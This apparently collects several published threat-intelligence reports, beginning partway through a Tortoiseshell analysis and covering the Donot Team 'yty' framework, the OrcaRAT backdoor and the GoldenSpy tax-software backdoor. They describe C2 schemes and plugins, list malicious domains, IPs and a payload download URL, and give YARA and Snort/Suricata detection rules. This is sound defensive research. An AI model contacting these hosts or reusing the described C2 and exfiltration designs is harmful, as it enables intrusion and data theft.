If something fails during the installation, an email is sent to the attacker. The credentials are hardcoded in the installer. The email account is ericaclayton2020@gmail[.]com, and the error email is sent to marinaparks108@gmail[.]com.
## Reconnaissance Phase
The downloaded reconnaissance tool is named "bird.exe" on the system, and the internal name is Liderc. Liderc is a unique supernatural being of Hungarian folklore. The original form of this creature is a chicken, which explains the name of the dropped PE on the system, "Bird.exe."
The purpose is to collect a lot of information on the victim machine. The attacker retrieves information such as the date, time, and drivers. The attacker can then see information on the system, the patch level, the number of processors, the network configuration, the hardware, firmware versions, the domain controller, the name of the admin, the list of accounts, etc. This is a significant amount of information relating to a machine and makes the attacker well-prepared to carry out additional attacks. The attacker even gets the size of the screen by using WMI, which is potentially a trick to identify if the system is a sandbox. All this information is sent by email using the same emails.
## Remote Access Tool
This actor also deploys a RAT named "IvizTech" on the system. The code and features are similar to those outlined by Symantec. The IP is put in the argument to the service. The attackers hoped that this would make it impossible to get to the C2, as the installer is needed—you can't just get there with the RAT itself. This allows an attacker to have malware that they can add modules onto (no need to recompile when you want to update the C2). Requiring the installer also could make it more complicated for researchers to access the C2 and get hands-on analysis of the malware.
The malware has four features:
- **kill_me**: It stops the service and removes the malware.
- **Upload**: It downloads a file on the internet.
- **Unzip**: It uses PowerShell to unzip and execute code on the system.
- **Execute Command**: The malware can execute a command.
## Conclusion
This new campaign utilizing the malicious hiring website represents a massive shift for Tortoiseshell. This particular attack vector has the potential to allow a large swath of people to become victims of this attack. Americans are quick to give back and support the veteran population. Therefore, this website has a high chance of gaining traction on social media where users could share the link in the hopes of supporting veterans.
At the time of publication, we do not have a method of distribution used, nor do we have proof of this existing in the wild. The level of sophistication is low as the .NET binary used has poor OPSEC capabilities, such as hard-coded credentials, but then other more advanced techniques by making the malware modular and aware that the victim already ran it. There is a possibility that multiple teams from an APT worked on multiple elements of this malware, as we can see certain levels of sophistication existing and various levels of victimology.
## Coverage
Intrusion prevention systems such as SNORT® provide an effective tool to detect Tortoiseshell activity due to specific signatures present at the end of each command. In addition to intrusion prevention systems, it is advisable to employ endpoint detection and response tools (EDR) such as Cisco AMP for Endpoints, which gives users the ability to track process invocation and inspect processes.
Additional ways our customers can detect and block these threats include:
- Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious websites and detects malware used in these attacks.
- Email Security can block malicious emails sent by threat actors as part of their campaign.
- Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), and Meraki MX can detect malicious activity associated with this threat.
- AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.
- Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.
- Open Source SNORTⓇ Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
## IOCs
**Network**
- hxxp://199[.]187[.]208[.]75/MyWS.asmx/GetUpdate?val=H7ddew3rfJid97fer374887sdnJDgsdte
- hxxp://66[.]42[.]78[.]193/response/
- hxxp://66[.]42[.]78[.]193/statement/
- hxxp://hiremilitaryheroes[.]com/
**Samples**
- Installers:
- c121f97a43f4613d0a29f31ef2e307337fa0f6d4f4eee651ee4f41a3df24b6b5
- 2a9589538c563c006eaf4f9217a192e8a34a1b371a31c61330ce2b396b67fd10
- 55b0708fed0684ce8fd038d4701cc321fe7b81def7f1b523acc46b6f9774cb7b
- Reconnaissance PE:
- ec71068481c29571122b2f6db1f8dc3b08d919a7f710f4829a07fb4195b52fac
- RAT:
- 51d186c16cc609ddb67bd4f3ecd09ef3566cb04894f0496f7b01f356ae260424
**Additional IOCs Related to This Actor**
- 41db45b0c51b98713bc526452eef26074d034b2c9ec159b44528ad4735d14f4a
- 78e1f53730ae265a7eb00b65fbb1304bbe4328ee5b7f7ac51799f19584b8b9d4
- 46873290f58c25845b21ce7e560eae1b1d89000e887c2ff2976d931672390dd8
- f31b5e14314388903a32eaa68357b8a5d07cbe6731b0bd97d2ee33ac67ea8817
- f1c05ff306e941322a38fffb21dfdb5f81c42a00a118217b9d4e9807743d7275
- 1848f51d946fa8b348db8ef945a1ebff33ff76803ad26dfd175d9ea2aa56c7d0
- ed150d9f6e12b6d669bcede3b7dc2026b7161f875edf26c93296e8c6e99152d5
- 2682328bde4c91637e88201eda5f5c400a3b3c0bdb87438d35660494feff55cf
- e82a08f1514ccf38b3ae6b79e67d7605cb20b8377206fbdc44ddadfb06ae4d0d
- 185[.]43[.]108[.]134
- 162[.]220[.]55[.]249
- Spreadme[.]international |
# Donot Team Leverages New Modular Malware Framework in South Asia
**by ASERT Team on March 8th, 2018**
**Authors: Dennis Schwarz and Jill Sopko**
**Special thanks to Richard Hummel and Hardik Modi for their contributions on this post.**
## Key Findings
- ASERT discovered a new modular malware framework, called yty, that focuses on file collection, screenshots, and keylogging.
- We believe the threat actors, Donot Team, who created EHDevel, also created the yty framework.
- With medium confidence, ASERT believes this new malware framework will pick up where EHDevel left off and continue to focus on targets in South Asia.
## Overview
In late January 2018, ASERT discovered a new modular malware framework we call "yty". The framework shares a striking resemblance to the EHDevel framework. We believe with medium confidence that a team we call internally as "Donot Team" is responsible for the new malware and will resume targeting of South Asia.
In a likely effort to disguise the malware and its operations, the authors coded several references into the malware for football—it is unclear whether they mean American football or soccer. The theme may allow the network traffic to fly under the radar.
While we believe this framework and its components are new, it shares many Tactics, Techniques, and Procedures (TTPs) and Indicators of Compromise (IOCs) with the EHDevel malware framework. In September 2017, Bitdefender released a white paper describing EHDevel and some of the campaigns that used it. Some of the highlights included:
- Labeled as an APT (advanced persistent threat) and active since at least 2016.
- Modular architecture with malware functionality spread over multiple components.
- Components used a variety of programming languages (C++, .NET, Python, VBS, and AutoIt).
- Functionality included: file collection, screenshots, key logging, and gathering system information.
- Command and control (C2) hosts stored in a document hosted on Google Docs.
- Decoy documents, timestamp analysis, and C2 server log analysis showed a focus on Pakistan.
We assess with medium confidence that the yty framework is a replacement for the EHDevel framework and that the Donot Team may start using it in campaigns in a similar manner as EHDevel. The evolution from EHDevel to yty shows the threat actors are continually improving and modifying their malware framework, adding to their sophistication.
## Campaign Analysis
Donot Team campaigns use multiple methods to mimic legitimate applications, organizations, and services like Adobe, Gmail, or news outlets. They also include seemingly benign domains that likely raise minimal suspicion to a human observer. The following domains are a few examples:
- abodeupdater.com (Adobe update services)
- qmails.org (Gmail webmail service)
- serviceupports.com (Generic services domains)
- sundayobserver.net (Mimics weekly English-language newspaper in Sri Lanka)
- thebangladeshtoday.net (English version of the national daily newspaper in Bangladesh)
The actors use false personas to register their domains instead of opting for privacy protection services. Depending on the registrar service chosen, this could be seen as another cost control measure. The actors often used typo-squatting to slightly alter a legitimate domain name. In contrast, the registration information used accurate spelling, possibly indicating the domain naming was intentional, typos included. Each unique registrant usually registered only a few domains, but mistakenly reused phone numbers or the registration data portrayed a similar pattern across domains. Looking at shared IP infrastructure, it was easy to see the registration patterns and expand the network used by the attackers. The Donot Team relies heavily on subdomains. Nearly every domain discovered through the course of this investigation had multiple, unique subdomains and every malware sample analyzed communicated to subdomains. In at least two instances, the domain never resolved to an IP address. Instead, the malware used subdomains, which led to active infrastructure. Many of the sub-domains only navigated to the third level, but other samples used overly complex subdomain structures down to the sixth or seventh level:
- update.<domain>.com
- service.<domain>.org
- mail-live.outlook-com.332dhgka93t-veri9fjg3j-2s33gl.system.thebangladeshtoday.net
Looking at registration patterns and passive DNS, many of these domains resolve for as little as three days before going offline. It is possible the attackers use these small windows to test their malware operations. Although we did not observe the original distribution of the core binary, we believe the group specifically targeted Pakistani individuals based on the decoy documents observed. They appeared to be official Government of Pakistan memos.
## Attribution
Donot Team’s TTPs, infrastructure, and the malware code are strikingly similar to the EHDevel malware reported by BitDefender and is likely the same group of operators. Bitdefender noted that the EHDevel malware appeared similar to malware analyzed by Blue Coat Labs in their report “Snake in the Grass”. The “Snake in the Grass” report also showed malware similarities and infrastructure overlap with Operation Hangover (also known as the Patchwork Group). While Arbor agrees that there are suspicious similarities between the Donot Team and Patchwork, we did not uncover definitive evidence to link the two groups. Additionally, a malicious document associated with yty was tagged by Hybrid Analysis as “Viceroy Tiger”, but there hasn’t been much recent public information on this group that we could find to corroborate.
## yty Malware Framework Analysis
One of the TTPs associated with the Donot Team is the use of modular/plugin-based malware frameworks. We call the new malware framework “yty” (based on debugging strings in its components).
### Circular.xls Analysis
The first piece of the framework is a malicious Excel document named “Circular.xls”. The content of the spreadsheet is an executable that is extracted and executed by macros.
The delivery mechanism for the XLS file is unknown, but evidence suggests it could be a test document.
### .exe (Downloader 1) Analysis
SHA256: 8d7eb0b7251bc4a40ebc9142a59ed8af16fb11cf8168e76dca48a78d6d7e4595
Compilation Date: 2018-02-05 09:06:13
PDB Path: C:\Users\donot\Documents\Visual Studio 2010\Projects\downloader\Debug\downloader.pdb
Due to a bug in the macro code, the extracted executable is saved as “.exe”. This is a stripped down C++ program that, as its PDB path string indicates, downloads and executes another executable, then removes itself. The downloader attempts to retrieve and execute the following file (not active at the time of research):
- http://conf.serviceupdateres.com/Setup.exe
This host is a direct overlap with the EHDevel malware framework as it was also seen distributing payloads in Bitdefender’s analysis.
### Setup.exe (Downloader 2) Analysis
SHA256: 6bbd10ac20782542f40f78471c30c52f0619b91639840e60831dd665f9396365
Compilation Date: 2018-01-04 09:43:28
PDB Path: C:\Users\803\Desktop\ytyboth\yty 2.0\Release\Setup.pdb
Setup.exe is another downloader written in C++ but contains more functionality than the “.exe” downloader. First, it checks/creates a mutex named “toptwo” so that only one copy of itself is running on the victim.
### Evasion Techniques
To confuse malware analysts, it mixes in junk code. It also has some basic anti-sandbox detection that tries to detect Virtual PC, Sandboxie, and VMware.
### Debugging Code
Similar to some components in the EHDevel framework, it creates logs for debugging purposes, though the messages are not as verbose as in EHDevel’s samples.
### Command & Control
Much like EHDevel, in order to get its C2 host, it downloads a file from Google Docs. The document in this case was located at:
- https://drive.google.com/uc?authuser=0&id=1BUuYXU6bLdH_k_NWQIo7n5Uo_7…
At the time of research, the name of the document was “ip2.txt” and it contained the following IP address:
- 5.135.199.0
Per its metadata, the owner of the document is:
- Alfred Vilfi
- [email protected]
An example C2 beacon is shown below. Based on the “/football/goal”, “score”, “ball”, and “loose” strings, they are using a football theme to help disguise its traffic. The POST data contains:
- CPU information
- Windows version
- Is a virtual machine?
- Computer name
- User name
- Serial number of main disk volume
At the time of analysis, we only elicited a “loose” response from the C2 server. Continued execution is reliant on eliciting a “win” response. If a “win” response does not occur, the malware continues beaconing until it receives the appropriate response. Once the correct response is seen, the malware downloads the next component from the same C2 using the following URL path:
- /football/download/2/boothelp
### Persistence Mechanism
A secondary macro in circular.xls establishes persistence for the setup.exe download.
### Unique Strings
Setup.exe introduces three common names seen in the rest of the malware framework:
- “yty”, the name we use for the framework, from the PDB path string.
- “bigdata” from the schtasks /tn (taskname) parameter used in the persistence mechanism.
- A “bot id” consisting of computer name, user name, and volume serial number separated by dashes.
### boothelp.exe – Plugin Downloader
SHA256: a2e9d9a00e7e75ab1d5e96dd327a89b55608a0319461f2866aadada5bd50e728
Compilation Date: 2018-01-03 09:42:00
PDB Path: C:\Users\803\Desktop\ytyboth\yty 2.0\Release\boothelp.pdb
Another TTP used by the Donot Team is the transition from one programming language to another. We see this with boothelp.exe, which is written in .NET—instead of C++ like the other components. boothelp.exe is a downloader responsible for retrieving modules/plugins that contain added functionality.
The plugin downloader uses the same C2 channels as setup.exe by downloading a Google Doc file which contains the C2 IP address. It then continues the football theme by beaconing to the “/football/flag” folder on the C2 server.
Using an HTML <div> element labeled “pcinfo”—possibly displayed verbatim in the C2 panel—the malware beacon message contains various pieces of system information outlined below:
- User name
- Computer name
- Windows version
- Number of processors
- System directory
- Domain name
- .NET version
- Information on drives
- CPU information
The response from the C2 is an odd string containing multiple pieces, delimited by various characters, but boils down to what plugins to download/run and their file sizes. The plugins for this framework were downloaded from the same URI path (“/football/download/2/”) where boothelp.exe was located. As of February 2018, we observed the following plugins:
- vstservice.exe – document listing plugin
- abode.exe – file exfiltration plugin
- mdriver.exe – key logger plugin
- dspcheck.exe – screenshot plugin
- mboard.exe – system information plugin
These modules share functionality with components of the EHDevel framework, creating further overlap between the two malware frameworks. boothelp.exe has an interesting but unused function that takes a list of benign URLs and opens connections to them. As noted previously, we believe the actors are still testing the malware framework and it’s possible these URLs will become an anti-analysis feature to hide C2 communication among benign traffic. Some of the interesting benign URLs listed below:
- https://www.google.co.in/
- http://www.imdb.com/title/tt3501632/
- https://www.rottentomatoes.com/m/thor_ragnarok_2017
### vstservice.exe – File Listing Plugin
SHA256: e3fb0ab2f3d11f12c11b3ee1e1781eaec5581def820afe7e01902f31ba9e1936
Compilation Date: 2018-01-03 08:14:32
PDB Path: C:\Users\803\Desktop\ytyboth\yty 2.0\Release\vstservice.pdb
The vstservice.exe plugin is a .NET file responsible for sending a list of the file system to the C2. The malware retrieves the C2 from a Google Docs file like the previous binaries. The file was located at:
- https://docs.google.com/uc?id=0B42CqDoBbigYM1lEamRDRjhFbGc&export=download
At the time of research, the Google Doc was named “domain.txt” and contained the following C2 host:
- upload.cloudsekurity.online
Per its metadata, it is owned by the same owner as the document above. The plugin sends two file listings. The first one focuses on files with the following extensions:
- ppt
- pdf
- doc
- xls
- docx
- xlsx
- pptx
- docm
- rtf
- inp
- xlsm
- csv
- odt
- pps
- vcf
The second one contains all other files.
### abode.exe – File Exfiltration Plugin
SHA256: 4d0114b1292714a13d43a4c0de3ea4498fa752354ad4f5b73a8ba441af6064ae
Compilation Date: 2018-01-03 08:14:46
PDB Path: C:\Users\803\Desktop\ytyboth\yty 2.0\Release\abode.pdb
abode.exe is a .NET file capable of file exfiltration. It uses the same Google Doc document and C2 as the vstservice.exe plugin. Two sets of files can be exfiltrated. The first set is a periodic sending of files generated by other plugins that do not include a C2 mechanism themselves. The second set of files is specified by the C2.
### mdriver.exe – Keylogger Plugin
SHA256: 600e7cfeea0ef8bd23cf95602a6b873898aa51848909aad1a7e8d4c5403797af
Compilation Date: 2018-01-03 08:14:19
PDB Path: C:\Users\803\Desktop\ytyboth\yty 2.0\Release\mdriver.pdb
This plugin is written in C++ and is a key logger. It checks/creates a mutex named “twotwo“, uses the Windows SetWindowsHookEx and SetWinEventHook APIs to perform its key logging, and then relies on abode.exe to exfiltrate the captured key strokes.
### dspcheck.exe – Screenshot Plugin
SHA256: 7d893d4f077e8e76a44a7830c5c3806dc956a6ef1a06c9f2dc33477c70f8cc9b
Compilation Date: 2018-01-09 08:33:36
PDB Path: D:\Soft\DevelopedCode\yty 2.0\Release\dspcheck.pdb
dspcheck.exe is a screenshot plugin written in .NET. This plugin also shows evidence that the actors are continuing their testing efforts. It has the beginnings of C2 functionality, but this sample still relies on abode.exe to send screenshots back to the C2.
### mboard.exe – System Information Plugin
Packed SHA256: 50281cdd1b22f2b85de5809bf69ebd10e399410f519e357c1cb941c5dc7c95e1
The last plugin seen in this framework was mboard.exe. It is written in Golang and is packed with UPX. The purpose of this plugin is to gather various system information such as:
- Drive information
- Output of systeminfo command
- Installed software
- Output of ipconfig /all command
- Output of net view command
- Output of tasklist command
The collected data is saved into multiple files with a “qr” extension appended. They are then sent to the C2 via abode.exe.
## Appendix A (IOCs):
### SHA256 Hashes
- 9ce56e1403469fc74c8ff61dde4e83ad72597c66ce07bbae12fa70183687b32d
- 8d7eb0b7251bc4a40ebc9142a59ed8af16fb11cf8168e76dca48a78d6d7e4595
- 6bbd10ac20782542f40f78471c30c52f0619b91639840e60831dd665f9396365
- a2e9d9a00e7e75ab1d5e96dd327a89b55608a0319461f2866aadada5bd50e728
- e3fb0ab2f3d11f12c11b3ee1e1781eaec5581def820afe7e01902f31ba9e1936
- 4d0114b1292714a13d43a4c0de3ea4498fa752354ad4f5b73a8ba441af6064ae
- 600e7cfeea0ef8bd23cf95602a6b873898aa51848909aad1a7e8d4c5403797af
- 7d893d4f077e8e76a44a7830c5c3806dc956a6ef1a06c9f2dc33477c70f8cc9b
- 50281cdd1b22f2b85de5809bf69ebd10e399410f519e357c1cb941c5dc7c95e1
### C2 Domains
- conf.serviceupdateres.com
- upload.cloudsekurity.online
- abodeupdater.com
- qmails.org
- serviceupports.com
- thebangladeshtoday.net
- sundayobserver.net
### C2 IP Addresses
- 5.135.199.0
- 89.33.246.99 |
# OrcaRAT - A whale of a tale
By Dan Kelly and Tom Lancaster
It’s every malware analyst’s dream to be handed a sample which is, so far, unnamed by the AV community—especially when the malware in question may have links to a well-known APT group. In my line of work, I analyze several ‘unknown’ malware samples a week, but often it turns out that they are simply new variants of existing malware families. Recently, I was fortunate enough to be handed something that not only had a low detection rate but, aside from heuristics, seemed to be relatively unknown to the top 40 anti-virus companies.
In this post, I will walk you through the malware family we’ve dubbed “OrcaRAT”.
First of all, it is worth pointing out that most of the malware I see on a day-to-day basis is espionage oriented, and very rarely do the programmers and operators make much effort to cover their tracks. The use of forged HTTP headers is a common occurrence, and simple mistakes within these headers are frequent.
The malware in question was handed to me by one of our threat intelligence analysts who was hunting through infrastructure associated with some samples of Comfoo malware and happened across a malware sample (253a704acd7952677c70e0c2d787791b8359efe2c92a5e77acea028393a85613) he didn’t recognize. He immediately took the malware and passed it through first stage analysis, which involves running the file in a sandbox environment. After this, he handed it over for more in-depth capability analysis.
## The structure
I began by looking over the sandbox report. The first thing that drew my attention was the URI structure. To those of us who are familiar with decoding data, you will notice that the URI string formatting appears to be a modified version of the Base64 algorithm.
To understand this structure more, we must reverse engineer the functions that generate and then encode the data. Firstly, we begin by analyzing the routines that produce the data which is later encoded and sent in the HTTP URI field.
The very first thing that jumped out when disassembling the malware is the simplicity and cleanliness of the code. There are also a significant number of Windows Crypto API functions imported by the malware, so we can assume this indicates that it uses encryption.
Delving deeper into the disassembly, we come across the preamble to the URI generation function. The function above uses Windows Crypto API to generate a random number of 6 bytes, then dynamically builds and appends the word “OrcaKiller” onto the end of this number. In one such example, the final product was "\x61\xBA\xF4\x44\x52\xF1OrcaKiller" (where \x denotes hexadecimal values).
Once this value has been produced, the malware begins constructing the URI. With many pieces of malware, the initial communications that it sends out to its command and control server (known as beaconing or phoning home) usually include pieces of information about the victim system. OrcaRAT is no exception. The randomly generated values noted above are actually used to encrypt several pieces of information that are extracted from the system, and even the key itself is included.
All of the values extracted from the system are encrypted using the RC4 algorithm and then base64 encoded. The RC4 encryption key is derived from an MD5 hash of the randomly generated bytes concatenated with the ‘OrcaKiller’ string. Once the data has been encrypted, it is base64 encoded. Any forward slashes in the base64 string are replaced with a tilde.
Once all of the values have been encrypted and formatted, the URI has the following structure. The campaign ID value is constructed using a method similar to that for the encryption key. It would appear that the authors did not want anybody to be able to easily see this value. This now gives us OrcaKiller and wHaLe. It would appear that our adversary has a salty sense of humour.
## Command and control
As with all malware, the command and control functions reveal the true nature and intent of the operators. Up until now, we have only determined how the malware communicates with the server. We will now investigate the mechanisms that the server uses to communicate and interact with the victim.
The command and control routine in OrcaRAT appears to serve two purposes. Interestingly, these routines are split into two branches. Each branch of command and control activity is determined by the unique response from the remote server. Command and control takes form of a webpage. Unlike malware designed by the well-known Comment Crew, this group does not hide these commands in HTML comments, but instead places them in plain view. The first set of commands force the malware to behave as a simple downloader.
Upon downloading the webpage from the server, the malware looks for specific sets of HTML tags. The first set are `<P>` and the terminating tag `</P>`. Once the malware has found these tags, it drops into the first command and control function. The malware then extracts the payload text between the HTML tags and runs it through a decryption routine. The same encryption key that is sent in the URI string is used to decrypt the text. Once the payload text has been decrypted, the malware treats this as a binary executable file, which is then written to the disk and executed.
The second set of HTML tags allows the operator to drop the malware into a set of remote control functions. This time, the malware searches for the `<H1>` tag that is terminated by `</H1>`. Once the payload text between these tags has been extracted, it is then decrypted using the encryption key found in the URI string. The payload text from this page is much smaller and ultimately points to the command function that the operator has executed.
The command and control structure is fairly simplistic but provides the operator with access to the victim machine’s filesystem and command line, and as such allows the attacker to perform various tasks such as executing arbitrary commands or uploading and downloading files from the compromised system.
After a command and control message is received, OrcaRAT sends an HTTP POST message back to the command and control server. Each time that the URI is built, it generates a new encryption key, showing that the command and control server is at least serving dynamic content. Given the command structure above, it is logical to assume that the command and control server requires an operator to manually issue specific commands to the victim workstation, with the default command likely being ‘sleep’.
Given the information above, we can reasonably assume that this malware was most likely designed as a first stage implant. History has shown that malware designed in this way is usually done so to allow the operator an initial level of access to the compromised system, usually for surveying the victim and then deciding whether to deploy a more capable and valuable second stage malware implant.
## Detection
Once OrcaRAT has been delivered to a victim system, there are a number of ways to detect it. Firstly, we will cover disk detection using Yara. The rule below will detect an OrcaRAT binary executable that has been written to a compromised machine’s disk.
```yara
rule OrcaRAT {
meta:
author = "PwC Cyber Threat Operations :: @tlansec"
distribution = "TLP WHITE"
sha1 = "253a704acd7952677c70e0c2d787791b8359efe2c92a5e77acea028393a85613"
strings:
$MZ="MZ"
$apptype1="application/x-ms-application"
$apptype2="application/x-ms-xbap"
$apptype3="application/vnd.ms-xpsdocument"
$apptype4="application/xaml+xml"
$apptype5="application/x-shockwave-flash"
$apptype6="image/pjpeg"
$err1="Set return time error = %d!"
$err2="Set return time success!"
$err3="Quit success!"
condition:
$MZ at 0 and filesize < 500KB and (all of ($apptype*) and 1 of ($err*))
}
```
OrcaRAT can also be detected in two separate ways at the network level using a Snort or Suricata IDS rule. Detecting malware at different stages of connectivity can be important. By creating signatures with a nexus to the kill chain, we can determine which stage the intrusion has reached. The two signatures below will indicate whether the intrusion has reached the command and control or action-on phases.
### Snort:
```snort
alert tcp any any -> any any (msg:"::[PwC CTD]:: - OrcaRAT implant check-in"; flow:established,from_client; urilen: 67<>170; content:"User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET4.0C; .NET4.0E)"; http_header; content:"GET"; http_method; pcre:"/^\/[A-Za-z0-9+~=]{14,18}\/[A-Za-z0-9+~=]{33,38}\/[A-Za-z0-9+~=]{6,9}\/[A-Za-z0-9+~=]{5,50}\/[A-Za-z0-9+~=]{5,50}$/U"; sid:YOUR_SID; rev:1;)
alert tcp any any -> any any (msg:"::[PwC CTD]:: - OrcaRAT implant C2 confirmation response"; flow:established,from_client; urilen: 67<>170; content:"User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET4.0C; .NET4.0E)"; http_header; content:"POST"; http_method; pcre:"/^\/[A-Za-z0-9+~=]{14,18}\/[A-Za-z0-9+~=]{33,38}\/[A-Za-z0-9+~=]{6,9}\/[A-Za-z0-9+~=]{5,50}\/[A-Za-z0-9+~=]{5,50}$/U"; sid:YOUR_SID; rev:1;)
```
### Suricata:
```suricata
alert http any any -> any any (msg:"::[PwC CTD]:: - OrcaRAT implant check-in"; flow:established,from_client; urilen: 67<>170; content:"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET4.0C; .NET4.0E)"; http_user_agent; content:"GET"; http_method; pcre:"/^\/[A-Za-z0-9+~=]{14,18}\/[A-Za-z0-9+~=]{33,38}\/[A-Za-z0-9+~=]{6,9}\/[A-Za-z0-9+~=]{5,50}\/[A-Za-z0-9+~=]{5,50}$/U"; sid:YOUR_SID; rev:1;)
alert http any any -> any any (msg:"::[PwC CTD]:: - OrcaRAT implant C2 confirmation response"; flow:established,from_client; urilen: 67<>170; content:"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET4.0C; .NET4.0E)"; http_user_agent; content:"POST"; http_method; pcre:"/^\/[A-Za-z0-9+~=]{14,18}\/[A-Za-z0-9+~=]{33,38}\/[A-Za-z0-9+~=]{6,9}\/[A-Za-z0-9+~=]{5,50}\/[A-Za-z0-9+~=]{5,50}$/U"; sid:YOUR_SID; rev:1;)
```
## Appendix A: Samples of Orca RAT
| Hash | C2 |
|-------------------------------------------------------------|-----------------------------|
| 07b40312047f204a2c1fbd94fba6f53b | adda.lengendport.com |
| f6456b115e325b612e0d144c8090720f | tsl.gettrials.com |
| 139b8e1b665bb9237ec51ec4bef22f58 | auty.organiccrap.com |
## Appendix B: Related indicators
| Indicator | Type |
|-------------------------------------------------------------|--------------|
| 11.38.64.251 | IP Address |
| 123.120.115.77 | IP Address |
| 123.120.99.228 | IP Address |
| 142.0.134.20 | IP Address |
| 147.96.68.184 | IP Address |
| 176.31.24.182 | IP Address |
| 176.31.24.184 | IP Address |
| 190.114.241.170 | IP Address |
| 200.78.201.24 | IP Address |
| 202.124.151.94 | IP Address |
| 202.2.108.142 | IP Address |
| 203.146.251.11 | IP Address |
| 204.152.209.74 | IP Address |
| 213.147.54.170 | IP Address |
| 23.19.39.19 | IP Address |
| 58.71.158.21 | IP Address |
| 62.73.174.134 | IP Address |
| 71.183.67.163 | IP Address |
| 74.116.128.15 | IP Address |
| 81.218.149.207 | IP Address |
| 84c68f2d2dd569c4620dabcecd477e69 | Hash |
| 8fbc8c7d62a41b6513603c4051a3ee7b | Hash |
| 91.198.50.31 | IP Address |
| adda.lengendport.com | Domain |
| affisensors.com | Domain |
| analysis.ittecbbs.com | Domain |
| at.acmetoy.com | Domain |
| aucy.affisensors.com | Domain |
| auty.organiccrap.com | Domain |
| bbs.dynssl.com | Domain |
| bbs.serveuser.com | Domain |
| bbslab.acmetoy.com | Domain |
| bbslab.lflink.com | Domain |
| cdna.acmetoy.com | Domain |
| cune.lengendport.com | Domain |
| cure.yourtrap.com | Domain |
| dasheng.lonidc.com | Domain |
| dns.affisensors.com | Domain |
| edu.authorizeddns.org | Domain |
| edu.onmypc.org | Domain |
| fee0e6b8157099ad09380a94b7cbbea4 | Hash |
| ftp.bbs.dynssl.com | Domain |
| ftp.bbs.serveuser.com | Domain |
| ftp.bbslab.acmetoy.com | Domain |
| ftp.edu.authorizeddns.org | Domain |
| ftp.edu.onmypc.org | Domain |
| ftp.lucy.justdied.com | Domain |
| ftp.nuac.jkub.com | Domain |
| ftp.osk.lflink.com | Domain |
| ftp.reg.dsmtp.com | Domain |
| ftp.tt0320.portrelay.com | Domain |
| home.affisensors.com | Domain |
| hot.mrface.com | Domain |
| info.affisensors.com | Domain |
| jucy.wikaba.com | Domain |
| jutty.organiccrap.com | Domain |
| lengendport.com | Domain |
| lucy.justdied.com | Domain |
| newtect.ddns.us | Domain |
| nuac.jkub.com | Domain |
| nunok.ninth.biz | Domain |
| osk.lflink.com | Domain |
| philipine.gnway.net | Domain |
| pure.mypop3.org | Domain |
| reg.dsmtp.com | Domain |
| tt0320.portrelay.com | Domain |
| venus.gr8domain.biz | Domain |
| www.bbs.dynssl.com | Domain |
| www.bbs.serveuser.com | Domain |
| www.bbslab.acmetoy.com | Domain |
| www.edu.authorizeddns.org | Domain |
| www.edu.onmypc.org | Domain |
| www.fgtr.info | Domain |
| www.hot.mrface.com | Domain |
| www.ktry.info | Domain |
| www.lucy.justdied.com | Domain |
| www.osk.lflink.com | Domain |
| www.reg.dsmtp.com | Domain |
| www.tt0320.portrelay.com | Domain | |
# The Golden Tax Department and the Emergence of GoldenSpy Malware
Trustwave SpiderLabs has discovered a new malware family, dubbed GoldenSpy, embedded in tax payment software that a Chinese bank requires corporations to install to conduct business operations in China.
In April of 2020, the Trustwave SpiderLabs Threat Fusion Team engaged a customer to conduct a threat hunt. The company is a global technology vendor with significant government business in the US, Australia, UK, and recently opened offices in China. Our threat hunt produced several key findings important to the long-term security of their network; however, one key finding stood out as potentially impacting countless other businesses who currently operate in China. A full analysis of our findings is available for download in this report.
## Investigation Details
We identified an executable file displaying highly unusual behavior and sending system information to a suspicious Chinese domain. Discussions with our client revealed that this was part of their bank’s required tax software. They informed us that upon opening operations in China, their local Chinese bank required that they install a software package called Intelligent Tax produced by the Golden Tax Department of Aisino Corporation, for paying local taxes.
As we continued our investigation into the tax software, we found that it worked as advertised, but it also installed a hidden backdoor on the system that enabled a remote adversary to execute Windows commands or to upload and execute any binary (to include ransomware, trojans, or other malware). Basically, it was a wide-open door into the network with SYSTEM level privileges and connected to a command and control server completely separate from the tax software’s network infrastructure. Based on this, and several other factors, we determined this file to have sufficient characteristics to be malware. We’ve since fully reverse-engineered the files and named the family GoldenSpy.
GoldenSpy was digitally signed by a company called Chenkuo Network Technology and the signature used identical text for both the product and description fields; 认证软件版本升级服务 – which translates to “certified software version upgrade service”. This name may sound like legitimate software; however, in this situation, the tax software already has its own updater service that functions well, and in a way completely unrelated to GoldenSpy.
There were several other unusual aspects of this file, to include:
- GoldenSpy installs two identical versions of itself, both as persistent autostart services. If either stops running, it will respawn its counterpart. Furthermore, it utilizes an exeprotector module that monitors for the deletion of either iteration of itself. If deleted, it will download and execute a new version. Effectively, this triple-layer protection makes it exceedingly difficult to remove this file from an infected system.
- The Intelligent Tax software’s uninstall feature will not uninstall GoldenSpy. It leaves GoldenSpy running as an open backdoor into the environment, even after the tax software is fully removed.
- GoldenSpy is not downloaded and installed until a full two hours after the tax software installation process is completed. When it finally downloads and installs, it does so silently, with no notification on the system. This long delay is highly unusual and a method to hide from the victim’s notice.
- GoldenSpy does not contact the tax software’s network infrastructure (i-xinnuo[.]com); rather, it reaches out to ningzhidata[.]com, a domain known to host other variations of GoldenSpy malware. After the first three attempts to contact its command and control server, it randomizes beacon times. This is a known method to avoid network security technologies designed to identify beaconing malware.
- GoldenSpy operates with SYSTEM level privileges, making it highly dangerous and capable of executing any software on the system. This includes additional malware or Windows administrative tools to conduct reconnaissance, create new users, escalate privileges, etc.
These factors have led us to the conclusion that GoldenSpy is a well-hidden and powerful backdoor that surrenders full remote command and control of the victim system to an unknown adversary.
